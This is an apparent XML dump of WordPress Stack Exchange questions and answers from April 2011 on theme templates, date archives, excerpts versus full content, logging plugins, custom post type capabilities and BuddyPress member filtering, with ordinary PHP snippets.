  <row Id="15500" PostTypeId="2" ParentId="15424" CreationDate="2011-04-24T09:40:39.500" Score="1" ViewCount="" Body="&lt;p&gt;You can create &lt;em&gt;date.php&lt;/em&gt; (you can copy the content for this from &lt;em&gt;archive.php&lt;/em&gt; or &lt;em&gt;index.php&lt;/em&gt;) in your theme folder which will handle all the &quot;day&quot; pages...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    $day = get_query_var('day');&#xA;    $monthnum = get_query_var('monthnum');&#xA;    $year = get_query_var('year');&#xA;&#xA;if ( is_day() ) : ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo get_day_link($year, $monthnum, $day-1); ?&amp;gt;&quot;&amp;gt;Previous day's posts&amp;lt;/a&amp;gt; |&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo get_day_link(); ?&amp;gt;&quot;&amp;gt;This day's posts&amp;lt;/a&amp;gt; &#xA;    &amp;lt;?php if ( mktime(0, 0, 0, $monthnum, $day, $year) &amp;lt; mktime(0, 0, 0) ) : ?&amp;gt;&#xA;     | &amp;lt;a href=&quot;&amp;lt;?php echo get_day_link($year, $monthnum, $day+1); ?&amp;gt;&quot;&amp;gt;Next day's posts&amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt; &#xA;&amp;lt;?php elseif ( is_month() ) : ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo get_month_link($year, $monthnum-1); ?&amp;gt;&quot;&amp;gt;Previous month's posts&amp;lt;/a&amp;gt; |&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo get_month_link(); ?&amp;gt;&quot;&amp;gt;This month's posts&amp;lt;/a&amp;gt; &#xA;    &amp;lt;?php if ( mktime(0, 0, 0, $monthnum) &amp;lt; mktime(0, 0, 0) ) : ?&amp;gt;&#xA;     | &amp;lt;a href=&quot;&amp;lt;?php echo get_month_link($year, $monthnum+1); ?&amp;gt;&quot;&amp;gt;Next month's posts&amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php elseif ( is_year() ) : ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo get_year_link($year-1); ?&amp;gt;&quot;&amp;gt;Previous year's posts&amp;lt;/a&amp;gt; |&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo get_year_link(); ?&amp;gt;&quot;&amp;gt;This year's posts&amp;lt;/a&amp;gt; &#xA;    &amp;lt;?php if ( mktime(0, 0, 0, 0, 0, $year) &amp;lt; mktime(0, 0, 0, 0, 0) ) : ?&amp;gt;&#xA;     | &amp;lt;a href=&quot;&amp;lt;?php echo get_year_link($year+1); ?&amp;gt;&quot;&amp;gt;Next year's posts&amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php&#xA;    /* Queue the first post, that way we know&#xA;     * what date we're dealing with (if that is the case).&#xA;     *&#xA;     * We reset this later so we can run the loop&#xA;     * properly with a call to rewind_posts().&#xA;     */&#xA;    if ( have_posts() ) :&#xA;        the_post();&#xA;?&amp;gt;&#xA;&#xA;            &amp;lt;h1 class=&quot;page-title&quot;&amp;gt;&#xA;&amp;lt;?php if ( is_day() ) : ?&amp;gt;&#xA;                &amp;lt;?php printf( __( 'Daily Archives: &amp;lt;span&amp;gt;%s&amp;lt;/span&amp;gt;' ), get_the_date() ); ?&amp;gt;&#xA;&amp;lt;?php elseif ( is_month() ) : ?&amp;gt;&#xA;                &amp;lt;?php printf( __( 'Monthly Archives: &amp;lt;span&amp;gt;%s&amp;lt;/span&amp;gt;' ), get_the_date( 'F Y' ) ); ?&amp;gt;&#xA;&amp;lt;?php elseif ( is_year() ) : ?&amp;gt;&#xA;                &amp;lt;?php printf( __( 'Yearly Archives: &amp;lt;span&amp;gt;%s&amp;lt;/span&amp;gt;' ), get_the_date( 'Y' ) ); ?&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;                &amp;lt;?php _e( 'Blog Archives', 'twentyten' ); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/h1&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php&#xA;    /* Since we called the_post() above, we need to&#xA;     * rewind the loop back to the beginning that way&#xA;     * we can run the loop properly, in full.&#xA;     */&#xA;    rewind_posts();&#xA;&#xA;    /* Run the loop for the archives page to output the posts.&#xA;     * If you want to overload this in a child theme then include a file&#xA;     * called loop-archive.php and that will be used instead.&#xA;     */&#xA;&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;                &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;                    &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;entry-summary&quot;&amp;gt;&#xA;                        &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-summary --&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;entry-utility&quot;&amp;gt;&#xA;                        &amp;lt;?php if ( count( get_the_category() ) ) : ?&amp;gt;&#xA;                            &amp;lt;span class=&quot;cat-links&quot;&amp;gt;&#xA;                                &amp;lt;?php printf( __( '&amp;lt;span class=&quot;%1$s&quot;&amp;gt;Posted in&amp;lt;/span&amp;gt; %2$s' ), 'entry-utility-prep entry-utility-prep-cat-links', get_the_category_list( ', ' ) ); ?&amp;gt;&#xA;                            &amp;lt;/span&amp;gt;&#xA;                            &amp;lt;span class=&quot;meta-sep&quot;&amp;gt;|&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;                        &amp;lt;?php&#xA;                            $tags_list = get_the_tag_list( '', ', ' );&#xA;                            if ( $tags_list ):&#xA;                        ?&amp;gt;&#xA;                            &amp;lt;span class=&quot;tag-links&quot;&amp;gt;&#xA;                                &amp;lt;?php printf( __( '&amp;lt;span class=&quot;%1$s&quot;&amp;gt;Tagged&amp;lt;/span&amp;gt; %2$s' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?&amp;gt;&#xA;                            &amp;lt;/span&amp;gt;&#xA;                            &amp;lt;span class=&quot;meta-sep&quot;&amp;gt;|&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;                        &amp;lt;span class=&quot;comments-link&quot;&amp;gt;&amp;lt;?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment' ), __( '% Comments' ) ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;?php edit_post_link( __( 'Edit' ), '&amp;lt;span class=&quot;meta-sep&quot;&amp;gt;|&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/span&amp;gt;' ); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-utility --&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- #post-## --&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;    &amp;lt;h1 class=&quot;page-title&quot;&amp;gt;There are no posts for this date.&amp;lt;/h1&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This example can also handle the &quot;month&quot; and the &quot;year&quot; pages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://wptest.dev/2011/04/23/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2515" LastEditorUserId="2515" LastEditorDisplayName="" LastEditDate="2011-04-25T22:10:16.933" LastActivityDate="2011-04-25T22:10:16.933" CommentCount="2" />
  <row Id="15501" PostTypeId="1" CreationDate="2011-04-24T09:46:49.560" Score="0" ViewCount="124" Body="&lt;p&gt;I'm using the 'de.pinque' wordpress theme and it doesnt have an option to show full text in the homepage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my site (test site) with the theme and you can see its showing a summary of text on the homepage&#xA;&lt;a href=&quot;http://test99.info/&quot; rel=&quot;nofollow&quot;&gt;http://test99.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also would like to be able to get full text when I click on the categories in the navigation bar. &#xA;As you can see here, when I click on the 'A' category it also shows an excerpts of the the article instead of the full text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can i get the full text on both these. Below are my index.php, function.php, header.php, and category.php if you need to see them. Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: im having trouble pasting the codes, it says i can't post more than 2 links please help&lt;/p&gt;&#xA;" OwnerUserId="4855" LastEditorUserId="4855" LastEditorDisplayName="" LastEditDate="2011-04-24T10:04:20.360" LastActivityDate="2011-04-24T10:16:49.190" Title="How can I show full text, not summary for the homepage and in categories?" Tags="&lt;themes&gt;" AnswerCount="1" />
  <row Id="15502" PostTypeId="2" ParentId="15501" CreationDate="2011-04-24T10:16:49.190" Score="3" ViewCount="" Body="&lt;p&gt;replace &lt;code&gt;the_excerpt();&lt;/code&gt; with &lt;code&gt;the_content();&lt;/code&gt; in index.php and category.php ,done.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-24T10:16:49.190" />
  <row Id="15503" PostTypeId="1" AcceptedAnswerId="15508" CreationDate="2011-04-24T10:23:27.417" Score="1" ViewCount="71" Body="&lt;p&gt;I am building a custom app in WordPress, so I need some means of logging my events. I searched and found this plugin - &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-logs/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-logs/&lt;/a&gt; which looks very convenient to use. It uses database to store logs and can display them in the backend itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option for me is to learn WP filesystem (something which I haven't tried yet) and use it to write logs to file on disk. What do you think would be best considering the tradeoff between performance &amp;amp; convenience?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Database write is equal to &lt;code&gt;I/O write&lt;/code&gt; + some extra work. Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-04-24T13:07:18.400" Title="Options for logging events in WordPress" Tags="&lt;plugin-recommendation&gt;&lt;log&gt;" AnswerCount="1" />
  <row Id="15504" PostTypeId="1" CreationDate="2011-04-24T11:40:59.183" Score="0" ViewCount="100" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;Custom Field Template&lt;/a&gt; plugin to create customized post input pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a radio type field and a textarea field. How can I hide the textarea field, and then only show it if the user ticks &quot;yes&quot; on the radio field ?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-04-24T11:40:59.183" Title="Custom Field Template plugin : How to show a field depending on choice of a previous one?" Tags="&lt;plugins&gt;&lt;custom-field&gt;&lt;template&gt;" />
  <row Id="15505" PostTypeId="1" AcceptedAnswerId="15507" CreationDate="2011-04-24T12:16:16.720" Score="0" ViewCount="71" Body="&lt;p&gt;why is that? it's a new installation.&#xA;this is weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: i don't have plugins installed and i tried to restore default to twenty ten theme, and that also did nothing.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-04-24T12:29:32.677" Title="i don't have the excerpt textarea in posts editing page on admin panel" Tags="&lt;wp-admin&gt;&lt;excerpt&gt;" AnswerCount="1" />
  <row Id="15506" PostTypeId="2" ParentId="15460" CreationDate="2011-04-24T12:20:36.193" Score="1" ViewCount="" Body="&lt;p&gt;Place this in your &lt;em&gt;functions.php&lt;/em&gt; file or create a simple plugin...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Display archive links based on year/month and format.&#xA; *&#xA; * The date archives will logically display dates with links to the archive post&#xA; * page.&#xA; *&#xA; * The 'limit' argument will only display a limited amount of links, specified&#xA; * by the 'limit' integer value. By default, there is no limit. The&#xA; * 'show_post_count' argument will show how many posts are within the archive.&#xA; * By default, the 'show_post_count' argument is set to false.&#xA; *&#xA; * For the 'format', 'before', and 'after' arguments, see {@link&#xA; * get_archives_link()}. The values of these arguments have to do with that&#xA; * function.&#xA; *&#xA; * @param string|array $args Optional. Override defaults.&#xA; */&#xA;function wp_custom_archive($args = '') {&#xA;    global $wpdb, $wp_locale;&#xA;&#xA;    $defaults = array(&#xA;        'limit' =&amp;gt; '',&#xA;        'format' =&amp;gt; 'html', 'before' =&amp;gt; '',&#xA;        'after' =&amp;gt; '', 'show_post_count' =&amp;gt; false,&#xA;        'echo' =&amp;gt; 1&#xA;    );&#xA;&#xA;    $r = wp_parse_args( $args, $defaults );&#xA;    extract( $r, EXTR_SKIP );&#xA;&#xA;    if ( '' != $limit ) {&#xA;        $limit = absint($limit);&#xA;        $limit = ' LIMIT '.$limit;&#xA;    }&#xA;&#xA;    // over-ride general date format ? 0 = no: use the date format set in Options, 1 = yes: over-ride&#xA;    $archive_date_format_over_ride = 0;&#xA;&#xA;    // options for daily archive (only if you over-ride the general date format)&#xA;    $archive_day_date_format = 'Y/m/d';&#xA;&#xA;    // options for weekly archive (only if you over-ride the general date format)&#xA;    $archive_week_start_date_format = 'Y/m/d';&#xA;    $archive_week_end_date_format   = 'Y/m/d';&#xA;&#xA;    if ( !$archive_date_format_over_ride ) {&#xA;        $archive_day_date_format = get_option('date_format');&#xA;        $archive_week_start_date_format = get_option('date_format');&#xA;        $archive_week_end_date_format = get_option('date_format');&#xA;    }&#xA;&#xA;    //filters&#xA;    $where = apply_filters('customarchives_where', &quot;WHERE post_type = 'post' AND post_status = 'publish'&quot;, $r );&#xA;    $join = apply_filters('customarchives_join', &quot;&quot;, $r);&#xA;&#xA;    $output = '&amp;lt;ul&amp;gt;';&#xA;&#xA;        $query = &quot;SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb-&amp;gt;posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date DESC $limit&quot;;&#xA;        $key = md5($query);&#xA;        $cache = wp_cache_get( 'wp_custom_archive' , 'general');&#xA;        if ( !isset( $cache[ $key ] ) ) {&#xA;            $arcresults = $wpdb-&amp;gt;get_results($query);&#xA;            $cache[ $key ] = $arcresults;&#xA;            wp_cache_set( 'wp_custom_archive', $cache, 'general' );&#xA;        } else {&#xA;            $arcresults = $cache[ $key ];&#xA;        }&#xA;        if ( $arcresults ) {&#xA;            $afterafter = $after;&#xA;            foreach ( (array) $arcresults as $arcresult ) {&#xA;                $url = get_month_link( $arcresult-&amp;gt;year, $arcresult-&amp;gt;month );&#xA;                $year_url = get_year_link($arcresult-&amp;gt;year);&#xA;                /* translators: 1: month name, 2: 4-digit year */&#xA;                $text = sprintf(__('%s'), $wp_locale-&amp;gt;get_month($arcresult-&amp;gt;month));&#xA;                $year_text = sprintf('%d', $arcresult-&amp;gt;year);&#xA;                if ( $show_post_count )&#xA;                    $after = '&amp;amp;nbsp;('.$arcresult-&amp;gt;posts.')' . $afterafter;&#xA;                $year_output = get_archives_link($year_url, $year_text, $format, $before, $after);              &#xA;                $output .= ( $arcresult-&amp;gt;year != $temp_year ) ? $year_output : '';&#xA;                $output .= get_archives_link($url, $text, $format, $before, $after);&#xA;&#xA;                $temp_year = $arcresult-&amp;gt;year;&#xA;            }&#xA;        }&#xA;&#xA;    $output .= '&amp;lt;/ul&amp;gt;';&#xA;&#xA;    if ( $echo )&#xA;        echo $output;&#xA;    else&#xA;        return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&quot;just the year's text&quot; version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Display archive links based on year/month and format.&#xA; *&#xA; * The date archives will logically display dates with links to the archive post&#xA; * page.&#xA; *&#xA; * The 'limit' argument will only display a limited amount of links, specified&#xA; * by the 'limit' integer value. By default, there is no limit. The&#xA; * 'show_post_count' argument will show how many posts are within the archive.&#xA; * By default, the 'show_post_count' argument is set to false.&#xA; *&#xA; * For the 'format', 'before', and 'after' arguments, see {@link&#xA; * get_archives_link()}. The values of these arguments have to do with that&#xA; * function.&#xA; *&#xA; * @param string|array $args Optional. Override defaults.&#xA; */&#xA;function wp_custom_archive($args = '') {&#xA;    global $wpdb, $wp_locale;&#xA;&#xA;    $defaults = array(&#xA;        'limit' =&amp;gt; '',&#xA;        'format' =&amp;gt; 'html', 'before' =&amp;gt; '',&#xA;        'after' =&amp;gt; '', 'show_post_count' =&amp;gt; false,&#xA;        'echo' =&amp;gt; 1&#xA;    );&#xA;&#xA;    $r = wp_parse_args( $args, $defaults );&#xA;    extract( $r, EXTR_SKIP );&#xA;&#xA;    if ( '' != $limit ) {&#xA;        $limit = absint($limit);&#xA;        $limit = ' LIMIT '.$limit;&#xA;    }&#xA;&#xA;    // over-ride general date format ? 0 = no: use the date format set in Options, 1 = yes: over-ride&#xA;    $archive_date_format_over_ride = 0;&#xA;&#xA;    // options for daily archive (only if you over-ride the general date format)&#xA;    $archive_day_date_format = 'Y/m/d';&#xA;&#xA;    // options for weekly archive (only if you over-ride the general date format)&#xA;    $archive_week_start_date_format = 'Y/m/d';&#xA;    $archive_week_end_date_format   = 'Y/m/d';&#xA;&#xA;    if ( !$archive_date_format_over_ride ) {&#xA;        $archive_day_date_format = get_option('date_format');&#xA;        $archive_week_start_date_format = get_option('date_format');&#xA;        $archive_week_end_date_format = get_option('date_format');&#xA;    }&#xA;&#xA;    //filters&#xA;    $where = apply_filters('customarchives_where', &quot;WHERE post_type = 'post' AND post_status = 'publish'&quot;, $r );&#xA;    $join = apply_filters('customarchives_join', &quot;&quot;, $r);&#xA;&#xA;    $output = '&amp;lt;ul&amp;gt;';&#xA;&#xA;        $query = &quot;SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb-&amp;gt;posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date DESC $limit&quot;;&#xA;        $key = md5($query);&#xA;        $cache = wp_cache_get( 'wp_custom_archive' , 'general');&#xA;        if ( !isset( $cache[ $key ] ) ) {&#xA;            $arcresults = $wpdb-&amp;gt;get_results($query);&#xA;            $cache[ $key ] = $arcresults;&#xA;            wp_cache_set( 'wp_custom_archive', $cache, 'general' );&#xA;        } else {&#xA;            $arcresults = $cache[ $key ];&#xA;        }&#xA;        if ( $arcresults ) {&#xA;            $afterafter = $after;&#xA;            foreach ( (array) $arcresults as $arcresult ) {&#xA;                $url = get_month_link( $arcresult-&amp;gt;year, $arcresult-&amp;gt;month );&#xA;                /* translators: 1: month name, 2: 4-digit year */&#xA;                $text = sprintf(__('%s'), $wp_locale-&amp;gt;get_month($arcresult-&amp;gt;month));&#xA;                $year_text = sprintf('&amp;lt;li&amp;gt;%d&amp;lt;/li&amp;gt;', $arcresult-&amp;gt;year);&#xA;                if ( $show_post_count )&#xA;                    $after = '&amp;amp;nbsp;('.$arcresult-&amp;gt;posts.')' . $afterafter;&#xA;                $output .= ( $arcresult-&amp;gt;year != $temp_year ) ? $year_text : '';&#xA;                $output .= get_archives_link($url, $text, $format, $before, $after);&#xA;&#xA;                $temp_year = $arcresult-&amp;gt;year;&#xA;            }&#xA;        }&#xA;&#xA;    $output .= '&amp;lt;/ul&amp;gt;';&#xA;&#xA;    if ( $echo )&#xA;        echo $output;&#xA;    else&#xA;        return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can use &lt;code&gt;wp_custom_archive&lt;/code&gt; function wherever in your theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_custom_archive(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2515" LastEditorUserId="2515" LastEditorDisplayName="" LastEditDate="2011-04-24T16:32:14.400" LastActivityDate="2011-04-24T16:32:14.400" CommentCount="2" />
  <row Id="15507" PostTypeId="2" ParentId="15505" CreationDate="2011-04-24T12:29:32.677" Score="1" ViewCount="" Body="&lt;p&gt;Upper right corner in posts editing page &gt; &quot;Screen Options&quot;...there you have to check &quot;Excerpt&quot; ;)&lt;/p&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2011-04-24T12:29:32.677" CommentCount="1" />
  <row Id="15508" PostTypeId="2" ParentId="15503" CreationDate="2011-04-24T13:07:18.400" Score="1" ViewCount="" Body="&lt;p&gt;I would prefer to use &lt;em&gt;WP-Logs&lt;/em&gt; plugin because its code looks pretty well and you will not waste so much time writing something completely from the scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also store data in the database more likely because I think database could be scaled more efficiently when needed. The another reason why I would prefer database is that the data could be accessed more easily by other plugins/APIs. From my point of view it's more secure too (for me it's easier to secure the database then the files on the FTP or in case when you need to access it from the external source...).&lt;/p&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2011-04-24T13:07:18.400" CommentCount="1" />
  <row Id="15509" PostTypeId="1" AcceptedAnswerId="15551" CreationDate="2011-04-24T13:27:01.537" Score="1" ViewCount="86" Body="&lt;p&gt;I'm looking for a plugin that is compatible up to the current version of WordPress (3.1.1 as of writing of this question) and that supports some kind of inline highlighting of programming language syntax. Basically, I want to be able to write a &lt;code&gt;function name&lt;/code&gt; or a &lt;code&gt;variable name&lt;/code&gt; or a quick &lt;code&gt;if statement&lt;/code&gt; as part of a paragraph and have it look like &lt;code&gt;code&lt;/code&gt;, much like what you get in the StackExchange editor with the &lt;code&gt;backticks&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several good plugins for highlighting programming language syntax in WordPress, but they don't seem to support inline syntax highlighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/jquery-syntax/&quot; rel=&quot;nofollow&quot;&gt;jQuery.Syntax&lt;/a&gt; claims to have the inline capability, but I can't get it to work on Wordpress 3.1.1.&lt;/p&gt;&#xA;" OwnerUserId="4857" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-25T12:00:46.010" LastActivityDate="2011-04-25T15:18:17.880" Title="Highlight Syntax Inline" Tags="&lt;wysiwyg&gt;&lt;syntax-highlighting&gt;&lt;plugin-syntaxhighlighter&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="15510" PostTypeId="2" ParentId="15140" CreationDate="2011-04-24T13:50:10.967" Score="0" ViewCount="" Body="&lt;p&gt;Query Posts widget.&lt;br&gt;&#xA;&lt;a href=&quot;http://justintadlock.com/archives/2009/03/15/query-posts-widget-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2009/03/15/query-posts-widget-wordpress-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-24T13:50:10.967" />
  <row Id="15511" PostTypeId="1" CreationDate="2011-04-24T13:57:56.547" Score="0" ViewCount="167" Body="&lt;p&gt;I am in a similar situation to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14553/allow-member-to-have-access-to-custom-post-type-only-permission-to-only-edit-the&quot;&gt;this person&lt;/a&gt;, only I need a bit more hand-holding. I don't have a good understanding of php but can cut and paste code with the best of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Justin Tadlock's &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members&lt;/a&gt; plugin, and have set up a custom post type and associated custom taxonomies in my functions.php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm trying to accomplish:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User registers and is set as&#xA;&lt;strong&gt;Contributor&lt;/strong&gt; by default. &lt;/li&gt;&#xA;&lt;li&gt;User can now see &lt;strong&gt;only&lt;/strong&gt; this custom post type&#xA;and can make an entry to this post&#xA;type, but not publish it.&lt;/li&gt;&#xA;&lt;li&gt;User can only see and edit their&#xA;own post(s).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If possible, I need specifics on what and where to add to my post type registration function. I understand it involves 'map_meta_cap' and 'capability_type' but I don't know how to write the code or where to put it in the function. Once the capabilities are established I can add them as custom capabilities in the Members plugin.&lt;/p&gt;&#xA;" OwnerUserId="4858" LastActivityDate="2011-05-25T11:53:20.093" Title="Allow Users Access to Custom Post Type Only" Tags="&lt;custom-post-types&gt;&lt;functions&gt;&lt;capabilities&gt;&lt;user-access&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="15512" PostTypeId="1" AcceptedAnswerId="15529" CreationDate="2011-04-24T14:17:25.350" Score="1" ViewCount="204" Body="&lt;p&gt;Alright, I have almost finished up a clients project in WordPress, but I have hit a wall. I am not really great with jQuery (and I have yet to find a plugin to achieve what they are looking for). The client wants an automatic slider on the homepage that pulls in featured posts out of their five categories. I have scoured the net for plugins to achieve the &quot;look&quot; they want, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The look in question can be seen &lt;a href=&quot;http://cl.ly/6Crd&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to go about this?&lt;/p&gt;&#xA;" OwnerUserId="807" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-24T18:08:31.510" LastActivityDate="2011-07-22T16:46:58.523" Title="WordPress Featured Post Slider" Tags="&lt;jquery&gt;&lt;slideshow&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="15513" PostTypeId="1" CreationDate="2011-04-24T14:53:29.020" Score="0" ViewCount="132" Body="&lt;p&gt;In Members component is possible to pass a param like &lt;a href=&quot;http://localhost.lh/?gender=male&quot; rel=&quot;nofollow&quot;&gt;http://localhost.lh/?gender=male&lt;/a&gt; to display only the users with male gender selected on registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I can add a filter to bp_core_get_users founded in bp-core.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function bp_core_get_users( $args = '' ) {&#xA;    global $bp;&#xA;&#xA;    $defaults = array(&#xA;        'type' =&amp;gt; 'active', // active, newest, alphabetical, random or popular&#xA;        'user_id' =&amp;gt; false, // Pass a user_id to limit to only friend connections for this user&#xA;        'search_terms' =&amp;gt; false, // Limit to users that match these search terms&#xA;&#xA;        'include' =&amp;gt; false, // Pass comma separated list of user_ids to limit to only these users&#xA;        'per_page' =&amp;gt; 20, // The number of results to return per page&#xA;        'page' =&amp;gt; 1, // The page to return if limiting per page&#xA;        'populate_extras' =&amp;gt; true, // Fetch the last active, where the user is a friend, total friend count, latest update&#xA;    );&#xA;&#xA;    $params = wp_parse_args( $args, $defaults );&#xA;    extract( $params, EXTR_SKIP );&#xA;&#xA;    return apply_filters( 'bp_core_get_users', BP_Core_User::get_users( $type, $per_page, $page, $user_id, $include, $search_terms, $populate_extras ), &amp;amp;$params );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In table bp_xprofile_data gender field is the ID: 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im trying to figure out how to check if gender is passed by query string then search and display members where the specific field gender is equal to query string param passed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2011" LastEditorDisplayName="" LastEditDate="2011-04-24T15:49:54.737" LastActivityDate="2011-04-24T15:49:54.737" Title="BuddyPress - Modifying bp_core_get_users to get only users with a specific gender field/value" Tags="&lt;buddypress&gt;" />
  <row Id="15514" PostTypeId="2" ParentId="15498" CreationDate="2011-04-24T15:04:48.797" Score="0" ViewCount="" Body="&lt;p&gt;You have a javascript error on line 451: ReferenceError: Can't find variable: jQuery. and then Failed to load resource: the server responded with a status of 403 (Forbidden): axx1cxj-b.css. The second one looks like s stylesheet that typekit is trying to load.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-24T15:04:48.797" CommentCount="2" />
